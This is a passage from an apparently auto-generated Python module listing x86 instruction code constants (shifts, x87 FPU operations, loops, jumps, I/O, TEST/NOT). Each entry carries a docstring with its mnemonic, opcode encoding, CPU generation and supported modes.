``RCL r/m64, CL``
``o64 D3 /2``
``X64``
``64-bit``
"""
RCR_RM16_CL: int = 475
"""
``RCR r/m16, CL``
``o16 D3 /3``
``8086+``
``16/32/64-bit``
"""
RCR_RM32_CL: int = 476
"""
``RCR r/m32, CL``
``o32 D3 /3``
``386+``
``16/32/64-bit``
"""
RCR_RM64_CL: int = 477
"""
``RCR r/m64, CL``
``o64 D3 /3``
``X64``
``64-bit``
"""
SHL_RM16_CL: int = 478
"""
``SHL r/m16, CL``
``o16 D3 /4``
``8086+``
``16/32/64-bit``
"""
SHL_RM32_CL: int = 479
"""
``SHL r/m32, CL``
``o32 D3 /4``
``386+``
``16/32/64-bit``
"""
SHL_RM64_CL: int = 480
"""
``SHL r/m64, CL``
``o64 D3 /4``
``X64``
``64-bit``
"""
SHR_RM16_CL: int = 481
"""
``SHR r/m16, CL``
``o16 D3 /5``
``8086+``
``16/32/64-bit``
"""
SHR_RM32_CL: int = 482
"""
``SHR r/m32, CL``
``o32 D3 /5``
``386+``
``16/32/64-bit``
"""
SHR_RM64_CL: int = 483
"""
``SHR r/m64, CL``
``o64 D3 /5``
``X64``
``64-bit``
"""
SAL_RM16_CL: int = 484
"""
``SAL r/m16, CL``
``o16 D3 /6``
``8086+``
``16/32/64-bit``
"""
SAL_RM32_CL: int = 485
"""
``SAL r/m32, CL``
``o32 D3 /6``
``386+``
``16/32/64-bit``
"""
SAL_RM64_CL: int = 486
"""
``SAL r/m64, CL``
``o64 D3 /6``
``X64``
``64-bit``
"""
SAR_RM16_CL: int = 487
"""
``SAR r/m16, CL``
``o16 D3 /7``
``8086+``
``16/32/64-bit``
"""
SAR_RM32_CL: int = 488
"""
``SAR r/m32, CL``
``o32 D3 /7``
``386+``
``16/32/64-bit``
"""
SAR_RM64_CL: int = 489
"""
``SAR r/m64, CL``
``o64 D3 /7``
``X64``
``64-bit``
"""
AAM_IMM8: int = 490
"""
``AAM imm8``
``D4 ib``
``8086+``
``16/32-bit``
"""
AAD_IMM8: int = 491
"""
``AAD imm8``
``D5 ib``
``8086+``
``16/32-bit``
"""
SALC: int = 492
"""
``SALC``
``D6``
``8086+``
``16/32-bit``
"""
XLAT_M8: int = 493
"""
``XLATB``
``D7``
``8086+``
``16/32/64-bit``
"""
FADD_M32FP: int = 494
"""
``FADD m32fp``
``D8 /0``
``8087+``
``16/32/64-bit``
"""
FMUL_M32FP: int = 495
"""
``FMUL m32fp``
``D8 /1``
``8087+``
``16/32/64-bit``
"""
FCOM_M32FP: int = 496
"""
``FCOM m32fp``
``D8 /2``
``8087+``
``16/32/64-bit``
"""
FCOMP_M32FP: int = 497
"""
``FCOMP m32fp``
``D8 /3``
``8087+``
``16/32/64-bit``
"""
FSUB_M32FP: int = 498
"""
``FSUB m32fp``
``D8 /4``
``8087+``
``16/32/64-bit``
"""
FSUBR_M32FP: int = 499
"""
``FSUBR m32fp``
``D8 /5``
``8087+``
``16/32/64-bit``
"""
FDIV_M32FP: int = 500
"""
``FDIV m32fp``
``D8 /6``
``8087+``
``16/32/64-bit``
"""
FDIVR_M32FP: int = 501
"""
``FDIVR m32fp``
``D8 /7``
``8087+``
``16/32/64-bit``
"""
FADD_ST0_STI: int = 502
"""
``FADD ST(0), ST(i)``
``D8 C0+i``
``8087+``
``16/32/64-bit``
"""
FMUL_ST0_STI: int = 503
"""
``FMUL ST(0), ST(i)``
``D8 C8+i``
``8087+``
``16/32/64-bit``
"""
FCOM_ST0_STI: int = 504
"""
``FCOM ST(i)``
``D8 D0+i``
``8087+``
``16/32/64-bit``
"""
FCOMP_ST0_STI: int = 505
"""
``FCOMP ST(i)``
``D8 D8+i``
``8087+``
``16/32/64-bit``
"""
FSUB_ST0_STI: int = 506
"""
``FSUB ST(0), ST(i)``
``D8 E0+i``
``8087+``
``16/32/64-bit``
"""
FSUBR_ST0_STI: int = 507
"""
``FSUBR ST(0), ST(i)``
``D8 E8+i``
``8087+``
``16/32/64-bit``
"""
FDIV_ST0_STI: int = 508
"""
``FDIV ST(0), ST(i)``
``D8 F0+i``
``8087+``
``16/32/64-bit``
"""
FDIVR_ST0_STI: int = 509
"""
``FDIVR ST(0), ST(i)``
``D8 F8+i``
``8087+``
``16/32/64-bit``
"""
FLD_M32FP: int = 510
"""
``FLD m32fp``
``D9 /0``
``8087+``
``16/32/64-bit``
"""
FST_M32FP: int = 511
"""
``FST m32fp``
``D9 /2``
``8087+``
``16/32/64-bit``
"""
FSTP_M32FP: int = 512
"""
``FSTP m32fp``
``D9 /3``
``8087+``
``16/32/64-bit``
"""
FLDENV_M14BYTE: int = 513
"""
``FLDENV m14byte``
``o16 D9 /4``
``8087+``
``16/32/64-bit``
"""
FLDENV_M28BYTE: int = 514
"""
``FLDENV m28byte``
``o32 D9 /4``
``387+``
``16/32/64-bit``
"""
FLDCW_M2BYTE: int = 515
"""
``FLDCW m2byte``
``D9 /5``
``8087+``
``16/32/64-bit``
"""
FNSTENV_M14BYTE: int = 516
"""
``FNSTENV m14byte``
``o16 D9 /6``
``8087+``
``16/32/64-bit``
"""
FSTENV_M14BYTE: int = 517
"""
``FSTENV m14byte``
``9B o16 D9 /6``
``8087+``
``16/32/64-bit``
"""
FNSTENV_M28BYTE: int = 518
"""
``FNSTENV m28byte``
``o32 D9 /6``
``387+``
``16/32/64-bit``
"""
FSTENV_M28BYTE: int = 519
"""
``FSTENV m28byte``
``9B o32 D9 /6``
``387+``
``16/32/64-bit``
"""
FNSTCW_M2BYTE: int = 520
"""
``FNSTCW m2byte``
``D9 /7``
``8087+``
``16/32/64-bit``
"""
FSTCW_M2BYTE: int = 521
"""
``FSTCW m2byte``
``9B D9 /7``
``8087+``
``16/32/64-bit``
"""
FLD_STI: int = 522
"""
``FLD ST(i)``
``D9 C0+i``
``8087+``
``16/32/64-bit``
"""
FXCH_ST0_STI: int = 523
"""
``FXCH ST(i)``
``D9 C8+i``
``8087+``
``16/32/64-bit``
"""
FNOP: int = 524
"""
``FNOP``
``D9 D0``
``8087+``
``16/32/64-bit``
"""
FSTPNCE_STI: int = 525
"""
``FSTPNCE ST(i)``
``D9 D8+i``
``8087+``
``16/32/64-bit``
"""
FCHS: int = 526
"""
``FCHS``
``D9 E0``
``8087+``
``16/32/64-bit``
"""
FABS: int = 527
"""
``FABS``
``D9 E1``
``8087+``
``16/32/64-bit``
"""
FTST: int = 528
"""
``FTST``
``D9 E4``
``8087+``
``16/32/64-bit``
"""
FXAM: int = 529
"""
``FXAM``
``D9 E5``
``8087+``
``16/32/64-bit``
"""
FLD1: int = 530
"""
``FLD1``
``D9 E8``
``8087+``
``16/32/64-bit``
"""
FLDL2T: int = 531
"""
``FLDL2T``
``D9 E9``
``8087+``
``16/32/64-bit``
"""
FLDL2E: int = 532
"""
``FLDL2E``
``D9 EA``
``8087+``
``16/32/64-bit``
"""
FLDPI: int = 533
"""
``FLDPI``
``D9 EB``
``8087+``
``16/32/64-bit``
"""
FLDLG2: int = 534
"""
``FLDLG2``
``D9 EC``
``8087+``
``16/32/64-bit``
"""
FLDLN2: int = 535
"""
``FLDLN2``
``D9 ED``
``8087+``
``16/32/64-bit``
"""
FLDZ: int = 536
"""
``FLDZ``
``D9 EE``
``8087+``
``16/32/64-bit``
"""
F2XM1: int = 537
"""
``F2XM1``
``D9 F0``
``8087+``
``16/32/64-bit``
"""
FYL2X: int = 538
"""
``FYL2X``
``D9 F1``
``8087+``
``16/32/64-bit``
"""
FPTAN: int = 539
"""
``FPTAN``
``D9 F2``
``8087+``
``16/32/64-bit``
"""
FPATAN: int = 540
"""
``FPATAN``
``D9 F3``
``8087+``
``16/32/64-bit``
"""
FXTRACT: int = 541
"""
``FXTRACT``
``D9 F4``
``8087+``
``16/32/64-bit``
"""
FPREM1: int = 542
"""
``FPREM1``
``D9 F5``
``387+``
``16/32/64-bit``
"""
FDECSTP: int = 543
"""
``FDECSTP``
``D9 F6``
``8087+``
``16/32/64-bit``
"""
FINCSTP: int = 544
"""
``FINCSTP``
``D9 F7``
``8087+``
``16/32/64-bit``
"""
FPREM: int = 545
"""
``FPREM``
``D9 F8``
``8087+``
``16/32/64-bit``
"""
FYL2XP1: int = 546
"""
``FYL2XP1``
``D9 F9``
``8087+``
``16/32/64-bit``
"""
FSQRT: int = 547
"""
``FSQRT``
``D9 FA``
``8087+``
``16/32/64-bit``
"""
FSINCOS: int = 548
"""
``FSINCOS``
``D9 FB``
``387+``
``16/32/64-bit``
"""
FRNDINT: int = 549
"""
``FRNDINT``
``D9 FC``
``8087+``
``16/32/64-bit``
"""
FSCALE: int = 550
"""
``FSCALE``
``D9 FD``
``8087+``
``16/32/64-bit``
"""
FSIN: int = 551
"""
``FSIN``
``D9 FE``
``387+``
``16/32/64-bit``
"""
FCOS: int = 552
"""
``FCOS``
``D9 FF``
``387+``
``16/32/64-bit``
"""
FIADD_M32INT: int = 553
"""
``FIADD m32int``
``DA /0``
``8087+``
``16/32/64-bit``
"""
FIMUL_M32INT: int = 554
"""
``FIMUL m32int``
``DA /1``
``8087+``
``16/32/64-bit``
"""
FICOM_M32INT: int = 555
"""
``FICOM m32int``
``DA /2``
``8087+``
``16/32/64-bit``
"""
FICOMP_M32INT: int = 556
"""
``FICOMP m32int``
``DA /3``
``8087+``
``16/32/64-bit``
"""
FISUB_M32INT: int = 557
"""
``FISUB m32int``
``DA /4``
``8087+``
``16/32/64-bit``
"""
FISUBR_M32INT: int = 558
"""
``FISUBR m32int``
``DA /5``
``8087+``
``16/32/64-bit``
"""
FIDIV_M32INT: int = 559
"""
``FIDIV m32int``
``DA /6``
``8087+``
``16/32/64-bit``
"""
FIDIVR_M32INT: int = 560
"""
``FIDIVR m32int``
``DA /7``
``8087+``
``16/32/64-bit``
"""
FCMOVB_ST0_STI: int = 561
"""
``FCMOVB ST(0), ST(i)``
``DA C0+i``
``8087+ and CMOV``
``16/32/64-bit``
"""
FCMOVE_ST0_STI: int = 562
"""
``FCMOVE ST(0), ST(i)``
``DA C8+i``
``8087+ and CMOV``
``16/32/64-bit``
"""
FCMOVBE_ST0_STI: int = 563
"""
``FCMOVBE ST(0), ST(i)``
``DA D0+i``
``8087+ and CMOV``
``16/32/64-bit``
"""
FCMOVU_ST0_STI: int = 564
"""
``FCMOVU ST(0), ST(i)``
``DA D8+i``
``8087+ and CMOV``
``16/32/64-bit``
"""
FUCOMPP: int = 565
"""
``FUCOMPP``
``DA E9``
``387+``
``16/32/64-bit``
"""
FILD_M32INT: int = 566
"""
``FILD m32int``
``DB /0``
``8087+``
``16/32/64-bit``
"""
FISTTP_M32INT: int = 567
"""
``FISTTP m32int``
``DB /1``
``8087+ and SSE3``
``16/32/64-bit``
"""
FIST_M32INT: int = 568
"""
``FIST m32int``
``DB /2``
``8087+``
``16/32/64-bit``
"""
FISTP_M32INT: int = 569
"""
``FISTP m32int``
``DB /3``
``8087+``
``16/32/64-bit``
"""
FLD_M80FP: int = 570
"""
``FLD m80fp``
``DB /5``
``8087+``
``16/32/64-bit``
"""
FSTP_M80FP: int = 571
"""
``FSTP m80fp``
``DB /7``
``8087+``
``16/32/64-bit``
"""
FCMOVNB_ST0_STI: int = 572
"""
``FCMOVNB ST(0), ST(i)``
``DB C0+i``
``8087+ and CMOV``
``16/32/64-bit``
"""
FCMOVNE_ST0_STI: int = 573
"""
``FCMOVNE ST(0), ST(i)``
``DB C8+i``
``8087+ and CMOV``
``16/32/64-bit``
"""
FCMOVNBE_ST0_STI: int = 574
"""
``FCMOVNBE ST(0), ST(i)``
``DB D0+i``
``8087+ and CMOV``
``16/32/64-bit``
"""
FCMOVNU_ST0_STI: int = 575
"""
``FCMOVNU ST(0), ST(i)``
``DB D8+i``
``8087+ and CMOV``
``16/32/64-bit``
"""
FNENI: int = 576
"""
``FNENI``
``DB E0``
``8087+``
``16/32/64-bit``
"""
FENI: int = 577
"""
``FENI``
``9B DB E0``
``8087+``
``16/32/64-bit``
"""
FNDISI: int = 578
"""
``FNDISI``
``DB E1``
``8087+``
``16/32/64-bit``
"""
FDISI: int = 579
"""
``FDISI``
``9B DB E1``
``8087+``
``16/32/64-bit``
"""
FNCLEX: int = 580
"""
``FNCLEX``
``DB E2``
``8087+``
``16/32/64-bit``
"""
FCLEX: int = 581
"""
``FCLEX``
``9B DB E2``
``8087+``
``16/32/64-bit``
"""
FNINIT: int = 582
"""
``FNINIT``
``DB E3``
``8087+``
``16/32/64-bit``
"""
FINIT: int = 583
"""
``FINIT``
``9B DB E3``
``8087+``
``16/32/64-bit``
"""
FNSETPM: int = 584
"""
``FNSETPM``
``DB E4``
``287+``
``16/32/64-bit``
"""
FSETPM: int = 585
"""
``FSETPM``
``9B DB E4``
``287+``
``16/32/64-bit``
"""
FRSTPM: int = 586
"""
``FRSTPM``
``DB E5``
``287 XL``
``16/32-bit``
"""
FUCOMI_ST0_STI: int = 587
"""
``FUCOMI ST, ST(i)``
``DB E8+i``
``8087+ and CMOV``
``16/32/64-bit``
"""
FCOMI_ST0_STI: int = 588
"""
``FCOMI ST, ST(i)``
``DB F0+i``
``8087+ and CMOV``
``16/32/64-bit``
"""
FADD_M64FP: int = 589
"""
``FADD m64fp``
``DC /0``
``8087+``
``16/32/64-bit``
"""
FMUL_M64FP: int = 590
"""
``FMUL m64fp``
``DC /1``
``8087+``
``16/32/64-bit``
"""
FCOM_M64FP: int = 591
"""
``FCOM m64fp``
``DC /2``
``8087+``
``16/32/64-bit``
"""
FCOMP_M64FP: int = 592
"""
``FCOMP m64fp``
``DC /3``
``8087+``
``16/32/64-bit``
"""
FSUB_M64FP: int = 593
"""
``FSUB m64fp``
``DC /4``
``8087+``
``16/32/64-bit``
"""
FSUBR_M64FP: int = 594
"""
``FSUBR m64fp``
``DC /5``
``8087+``
``16/32/64-bit``
"""
FDIV_M64FP: int = 595
"""
``FDIV m64fp``
``DC /6``
``8087+``
``16/32/64-bit``
"""
FDIVR_M64FP: int = 596
"""
``FDIVR m64fp``
``DC /7``
``8087+``
``16/32/64-bit``
"""
FADD_STI_ST0: int = 597
"""
``FADD ST(i), ST(0)``
``DC C0+i``
``8087+``
``16/32/64-bit``
"""
FMUL_STI_ST0: int = 598
"""
``FMUL ST(i), ST(0)``
``DC C8+i``
``8087+``
``16/32/64-bit``
"""
FCOM_ST0_STI_DCD0: int = 599
"""
``FCOM ST(i)``
``DC D0+i``
``8087+``
``16/32/64-bit``
"""
FCOMP_ST0_STI_DCD8: int = 600
"""
``FCOMP ST(i)``
``DC D8+i``
``8087+``
``16/32/64-bit``
"""
FSUBR_STI_ST0: int = 601
"""
``FSUBR ST(i), ST(0)``
``DC E0+i``
``8087+``
``16/32/64-bit``
"""
FSUB_STI_ST0: int = 602
"""
``FSUB ST(i), ST(0)``
``DC E8+i``
``8087+``
``16/32/64-bit``
"""
FDIVR_STI_ST0: int = 603
"""
``FDIVR ST(i), ST(0)``
``DC F0+i``
``8087+``
``16/32/64-bit``
"""
FDIV_STI_ST0: int = 604
"""
``FDIV ST(i), ST(0)``
``DC F8+i``
``8087+``
``16/32/64-bit``
"""
FLD_M64FP: int = 605
"""
``FLD m64fp``
``DD /0``
``8087+``
``16/32/64-bit``
"""
FISTTP_M64INT: int = 606
"""
``FISTTP m64int``
``DD /1``
``8087+ and SSE3``
``16/32/64-bit``
"""
FST_M64FP: int = 607
"""
``FST m64fp``
``DD /2``
``8087+``
``16/32/64-bit``
"""
FSTP_M64FP: int = 608
"""
``FSTP m64fp``
``DD /3``
``8087+``
``16/32/64-bit``
"""
FRSTOR_M94BYTE: int = 609
"""
``FRSTOR m94byte``
``o16 DD /4``
``8087+``
``16/32/64-bit``
"""
FRSTOR_M108BYTE: int = 610
"""
``FRSTOR m108byte``
``o32 DD /4``
``387+``
``16/32/64-bit``
"""
FNSAVE_M94BYTE: int = 611
"""
``FNSAVE m94byte``
``o16 DD /6``
``8087+``
``16/32/64-bit``
"""
FSAVE_M94BYTE: int = 612
"""
``FSAVE m94byte``
``9B o16 DD /6``
``8087+``
``16/32/64-bit``
"""
FNSAVE_M108BYTE: int = 613
"""
``FNSAVE m108byte``
``o32 DD /6``
``387+``
``16/32/64-bit``
"""
FSAVE_M108BYTE: int = 614
"""
``FSAVE m108byte``
``9B o32 DD /6``
``387+``
``16/32/64-bit``
"""
FNSTSW_M2BYTE: int = 615
"""
``FNSTSW m2byte``
``DD /7``
``8087+``
``16/32/64-bit``
"""
FSTSW_M2BYTE: int = 616
"""
``FSTSW m2byte``
``9B DD /7``
``8087+``
``16/32/64-bit``
"""
FFREE_STI: int = 617
"""
``FFREE ST(i)``
``DD C0+i``
``8087+``
``16/32/64-bit``
"""
FXCH_ST0_STI_DDC8: int = 618
"""
``FXCH ST(i)``
``DD C8+i``
``8087+``
``16/32/64-bit``
"""
FST_STI: int = 619
"""
``FST ST(i)``
``DD D0+i``
``8087+``
``16/32/64-bit``
"""
FSTP_STI: int = 620
"""
``FSTP ST(i)``
``DD D8+i``
``8087+``
``16/32/64-bit``
"""
FUCOM_ST0_STI: int = 621
"""
``FUCOM ST(i)``
``DD E0+i``
``8087+``
``16/32/64-bit``
"""
FUCOMP_ST0_STI: int = 622
"""
``FUCOMP ST(i)``
``DD E8+i``
``8087+``
``16/32/64-bit``
"""
FIADD_M16INT: int = 623
"""
``FIADD m16int``
``DE /0``
``8087+``
``16/32/64-bit``
"""
FIMUL_M16INT: int = 624
"""
``FIMUL m16int``
``DE /1``
``8087+``
``16/32/64-bit``
"""
FICOM_M16INT: int = 625
"""
``FICOM m16int``
``DE /2``
``8087+``
``16/32/64-bit``
"""
FICOMP_M16INT: int = 626
"""
``FICOMP m16int``
``DE /3``
``8087+``
``16/32/64-bit``
"""
FISUB_M16INT: int = 627
"""
``FISUB m16int``
``DE /4``
``8087+``
``16/32/64-bit``
"""
FISUBR_M16INT: int = 628
"""
``FISUBR m16int``
``DE /5``
``8087+``
``16/32/64-bit``
"""
FIDIV_M16INT: int = 629
"""
``FIDIV m16int``
``DE /6``
``8087+``
``16/32/64-bit``
"""
FIDIVR_M16INT: int = 630
"""
``FIDIVR m16int``
``DE /7``
``8087+``
``16/32/64-bit``
"""
FADDP_STI_ST0: int = 631
"""
``FADDP ST(i), ST(0)``
``DE C0+i``
``8087+``
``16/32/64-bit``
"""
FMULP_STI_ST0: int = 632
"""
``FMULP ST(i), ST(0)``
``DE C8+i``
``8087+``
``16/32/64-bit``
"""
FCOMP_ST0_STI_DED0: int = 633
"""
``FCOMP ST(i)``
``DE D0+i``
``8087+``
``16/32/64-bit``
"""
FCOMPP: int = 634
"""
``FCOMPP``
``DE D9``
``8087+``
``16/32/64-bit``
"""
FSUBRP_STI_ST0: int = 635
"""
``FSUBRP ST(i), ST(0)``
``DE E0+i``
``8087+``
``16/32/64-bit``
"""
FSUBP_STI_ST0: int = 636
"""
``FSUBP ST(i), ST(0)``
``DE E8+i``
``8087+``
``16/32/64-bit``
"""
FDIVRP_STI_ST0: int = 637
"""
``FDIVRP ST(i), ST(0)``
``DE F0+i``
``8087+``
``16/32/64-bit``
"""
FDIVP_STI_ST0: int = 638
"""
``FDIVP ST(i), ST(0)``
``DE F8+i``
``8087+``
``16/32/64-bit``
"""
FILD_M16INT: int = 639
"""
``FILD m16int``
``DF /0``
``8087+``
``16/32/64-bit``
"""
FISTTP_M16INT: int = 640
"""
``FISTTP m16int``
``DF /1``
``8087+ and SSE3``
``16/32/64-bit``
"""
FIST_M16INT: int = 641
"""
``FIST m16int``
``DF /2``
``8087+``
``16/32/64-bit``
"""
FISTP_M16INT: int = 642
"""
``FISTP m16int``
``DF /3``
``8087+``
``16/32/64-bit``
"""
FBLD_M80BCD: int = 643
"""
``FBLD m80bcd``
``DF /4``
``8087+``
``16/32/64-bit``
"""
FILD_M64INT: int = 644
"""
``FILD m64int``
``DF /5``
``8087+``
``16/32/64-bit``
"""
FBSTP_M80BCD: int = 645
"""
``FBSTP m80bcd``
``DF /6``
``8087+``
``16/32/64-bit``
"""
FISTP_M64INT: int = 646
"""
``FISTP m64int``
``DF /7``
``8087+``
``16/32/64-bit``
"""
FFREEP_STI: int = 647
"""
``FFREEP ST(i)``
``DF C0+i``
``8087+``
``16/32/64-bit``
"""
FXCH_ST0_STI_DFC8: int = 648
"""
``FXCH ST(i)``
``DF C8+i``
``8087+``
``16/32/64-bit``
"""
FSTP_STI_DFD0: int = 649
"""
``FSTP ST(i)``
``DF D0+i``
``8087+``
``16/32/64-bit``
"""
FSTP_STI_DFD8: int = 650
"""
``FSTP ST(i)``
``DF D8+i``
``8087+``
``16/32/64-bit``
"""
FNSTSW_AX: int = 651
"""
``FNSTSW AX``
``DF E0``
``287+``
``16/32/64-bit``
"""
FSTSW_AX: int = 652
"""
``FSTSW AX``
``9B DF E0``
``287+``
``16/32/64-bit``
"""
FSTDW_AX: int = 653
"""
``FSTDW AX``
``9B DF E1``
``387 SL``
``16/32-bit``
"""
FSTSG_AX: int = 654
"""
``FSTSG AX``
``9B DF E2``
``387 SL``
``16/32-bit``
"""
FUCOMIP_ST0_STI: int = 655
"""
``FUCOMIP ST, ST(i)``
``DF E8+i``
``8087+ and CMOV``
``16/32/64-bit``
"""
FCOMIP_ST0_STI: int = 656
"""
``FCOMIP ST, ST(i)``
``DF F0+i``
``8087+ and CMOV``
``16/32/64-bit``
"""
LOOPNE_REL8_16_CX: int = 657
"""
``LOOPNE rel8``
``a16 o16 E0 cb``
``8086+``
``16/32-bit``
"""
LOOPNE_REL8_32_CX: int = 658
"""
``LOOPNE rel8``
``a16 o32 E0 cb``
``386+``
``16/32-bit``
"""
LOOPNE_REL8_16_ECX: int = 659
"""
``LOOPNE rel8``
``a32 o16 E0 cb``
``386+``
``16/32/64-bit``
"""
LOOPNE_REL8_32_ECX: int = 660
"""
``LOOPNE rel8``
``a32 o32 E0 cb``
``386+``
``16/32-bit``
"""
LOOPNE_REL8_64_ECX: int = 661
"""
``LOOPNE rel8``
``a32 o64 E0 cb``
``X64``
``64-bit``
"""
LOOPNE_REL8_16_RCX: int = 662
"""
``LOOPNE rel8``
``a64 o16 E0 cb``
``X64``
``64-bit``
"""
LOOPNE_REL8_64_RCX: int = 663
"""
``LOOPNE rel8``
``a64 o64 E0 cb``
``X64``
``64-bit``
"""
LOOPE_REL8_16_CX: int = 664
"""
``LOOPE rel8``
``a16 o16 E1 cb``
``8086+``
``16/32-bit``
"""
LOOPE_REL8_32_CX: int = 665
"""
``LOOPE rel8``
``a16 o32 E1 cb``
``386+``
``16/32-bit``
"""
LOOPE_REL8_16_ECX: int = 666
"""
``LOOPE rel8``
``a32 o16 E1 cb``
``386+``
``16/32/64-bit``
"""
LOOPE_REL8_32_ECX: int = 667
"""
``LOOPE rel8``
``a32 o32 E1 cb``
``386+``
``16/32-bit``
"""
LOOPE_REL8_64_ECX: int = 668
"""
``LOOPE rel8``
``a32 o64 E1 cb``
``X64``
``64-bit``
"""
LOOPE_REL8_16_RCX: int = 669
"""
``LOOPE rel8``
``a64 o16 E1 cb``
``X64``
``64-bit``
"""
LOOPE_REL8_64_RCX: int = 670
"""
``LOOPE rel8``
``a64 o64 E1 cb``
``X64``
``64-bit``
"""
LOOP_REL8_16_CX: int = 671
"""
``LOOP rel8``
``a16 o16 E2 cb``
``8086+``
``16/32-bit``
"""
LOOP_REL8_32_CX: int = 672
"""
``LOOP rel8``
``a16 o32 E2 cb``
``386+``
``16/32-bit``
"""
LOOP_REL8_16_ECX: int = 673
"""
``LOOP rel8``
``a32 o16 E2 cb``
``386+``
``16/32/64-bit``
"""
LOOP_REL8_32_ECX: int = 674
"""
``LOOP rel8``
``a32 o32 E2 cb``
``386+``
``16/32-bit``
"""
LOOP_REL8_64_ECX: int = 675
"""
``LOOP rel8``
``a32 o64 E2 cb``
``X64``
``64-bit``
"""
LOOP_REL8_16_RCX: int = 676
"""
``LOOP rel8``
``a64 o16 E2 cb``
``X64``
``64-bit``
"""
LOOP_REL8_64_RCX: int = 677
"""
``LOOP rel8``
``a64 o64 E2 cb``
``X64``
``64-bit``
"""
JCXZ_REL8_16: int = 678
"""
``JCXZ rel8``
``a16 o16 E3 cb``
``8086+``
``16/32-bit``
"""
JCXZ_REL8_32: int = 679
"""
``JCXZ rel8``
``a16 o32 E3 cb``
``386+``
``16/32-bit``
"""
JECXZ_REL8_16: int = 680
"""
``JECXZ rel8``
``a32 o16 E3 cb``
``386+``
``16/32/64-bit``
"""
JECXZ_REL8_32: int = 681
"""
``JECXZ rel8``
``a32 o32 E3 cb``
``386+``
``16/32-bit``
"""
JECXZ_REL8_64: int = 682
"""
``JECXZ rel8``
``a32 o64 E3 cb``
``X64``
``64-bit``
"""
JRCXZ_REL8_16: int = 683
"""
``JRCXZ rel8``
``a64 o16 E3 cb``
``X64``
``64-bit``
"""
JRCXZ_REL8_64: int = 684
"""
``JRCXZ rel8``
``a64 o64 E3 cb``
``X64``
``64-bit``
"""
IN_AL_IMM8: int = 685
"""
``IN AL, imm8``
``E4 ib``
``8086+``
``16/32/64-bit``
"""
IN_AX_IMM8: int = 686
"""
``IN AX, imm8``
``o16 E5 ib``
``8086+``
``16/32/64-bit``
"""
IN_EAX_IMM8: int = 687
"""
``IN EAX, imm8``
``o32 E5 ib``
``386+``
``16/32/64-bit``
"""
OUT_IMM8_AL: int = 688
"""
``OUT imm8, AL``
``E6 ib``
``8086+``
``16/32/64-bit``
"""
OUT_IMM8_AX: int = 689
"""
``OUT imm8, AX``
``o16 E7 ib``
``8086+``
``16/32/64-bit``
"""
OUT_IMM8_EAX: int = 690
"""
``OUT imm8, EAX``
``o32 E7 ib``
``386+``
``16/32/64-bit``
"""
CALL_REL16: int = 691
"""
``CALL rel16``
``o16 E8 cw``
``8086+``
``16/32/64-bit``
"""
CALL_REL32_32: int = 692
"""
``CALL rel32``
``o32 E8 cd``
``386+``
``16/32-bit``
"""
CALL_REL32_64: int = 693
"""
``CALL rel32``
``o64 E8 cd``
``X64``
``64-bit``
"""
JMP_REL16: int = 694
"""
``JMP rel16``
``o16 E9 cw``
``8086+``
``16/32/64-bit``
"""
JMP_REL32_32: int = 695
"""
``JMP rel32``
``o32 E9 cd``
``386+``
``16/32-bit``
"""
JMP_REL32_64: int = 696
"""
``JMP rel32``
``o64 E9 cd``
``X64``
``64-bit``
"""
JMP_PTR1616: int = 697
"""
``JMP ptr16:16``
``o16 EA cd``
``8086+``
``16/32-bit``
"""
JMP_PTR1632: int = 698
"""
``JMP ptr16:32``
``o32 EA cp``
``386+``
``16/32-bit``
"""
JMP_REL8_16: int = 699
"""
``JMP rel8``
``o16 EB cb``
``8086+``
``16/32/64-bit``
"""
JMP_REL8_32: int = 700
"""
``JMP rel8``
``o32 EB cb``
``386+``
``16/32-bit``
"""
JMP_REL8_64: int = 701
"""
``JMP rel8``
``o64 EB cb``
``X64``
``64-bit``
"""
IN_AL_DX: int = 702
"""
``IN AL, DX``
``EC``
``8086+``
``16/32/64-bit``
"""
IN_AX_DX: int = 703
"""
``IN AX, DX``
``o16 ED``
``8086+``
``16/32/64-bit``
"""
IN_EAX_DX: int = 704
"""
``IN EAX, DX``
``o32 ED``
``386+``
``16/32/64-bit``
"""
OUT_DX_AL: int = 705
"""
``OUT DX, AL``
``EE``
``8086+``
``16/32/64-bit``
"""
OUT_DX_AX: int = 706
"""
``OUT DX, AX``
``o16 EF``
``8086+``
``16/32/64-bit``
"""
OUT_DX_EAX: int = 707
"""
``OUT DX, EAX``
``o32 EF``
``386+``
``16/32/64-bit``
"""
INT1: int = 708
"""
``INT1``
``F1``
``386+``
``16/32/64-bit``
"""
HLT: int = 709
"""
``HLT``
``F4``
``8086+``
``16/32/64-bit``
"""
CMC: int = 710
"""
``CMC``
``F5``
``8086+``
``16/32/64-bit``
"""
TEST_RM8_IMM8: int = 711
"""
``TEST r/m8, imm8``
``F6 /0 ib``
``8086+``
``16/32/64-bit``
"""
TEST_RM8_IMM8_F6R1: int = 712
"""
``TEST r/m8, imm8``
``F6 /1 ib``
``8086+``
``16/32/64-bit``
"""
NOT_RM8: int = 713
"""
``NOT r/m8``
``F6 /2``
``8086+``
``16/32/64-bit``
"""
NEG_RM8: int = 714
"""
``NEG r/m8``
``F6 /3``
``8086+``
``16/32/64-bit``
"""
MUL_RM8: int = 715
"""
``MUL r/m8``
``F6 /4``
``8086+``
``16/32/64-bit``
"""
IMUL_RM8: int = 716
"""
``IMUL r/m8``
``F6 /5``
``8086+``
``16/32/64-bit``
"""
DIV_RM8: int = 717
"""
``DIV r/m8``
``F6 /6``
``8086+``
``16/32/64-bit``
"""
IDIV_RM8: int = 718
"""
``IDIV r/m8``
``F6 /7``
``8086+``
``16/32/64-bit``
"""
TEST_RM16_IMM16: int = 719
"""
``TEST r/m16, imm16``
``o16 F7 /0 iw``
``8086+``
``16/32/64-bit``
"""
TEST_RM32_IMM32: int = 720
"""
``TEST r/m32, imm32``
``o32 F7 /0 id``
``386+``
``16/32/64-bit``
"""
TEST_RM64_IMM32: int = 721
"""
``TEST r/m64, imm32``
``o64 F7 /0 id``
``X64``
``64-bit``
"""
TEST_RM16_IMM16_F7R1: int = 722
"""
``TEST r/m16, imm16``
``o16 F7 /1 iw``
``8086+``
``16/32/64-bit``
"""
TEST_RM32_IMM32_F7R1: int = 723
"""
``TEST r/m32, imm32``
``o32 F7 /1 id``
``386+``
``16/32/64-bit``
"""
TEST_RM64_IMM32_F7R1: int = 724
"""
``TEST r/m64, imm32``
``o64 F7 /1 id``
``X64``
``64-bit``
"""
NOT_RM16: int = 725
"""
``NOT r/m16``
``o16 F7 /2``
``8086+``
``16/32/64-bit``
"""
NOT_RM32: int = 726
"""
``NOT r/m32``
``o32 F7 /2``
``386+``
``16/32/64-bit``
"""
NOT_RM64: int = 727
"""
``NOT r/m64``
``o64 F7 /2``
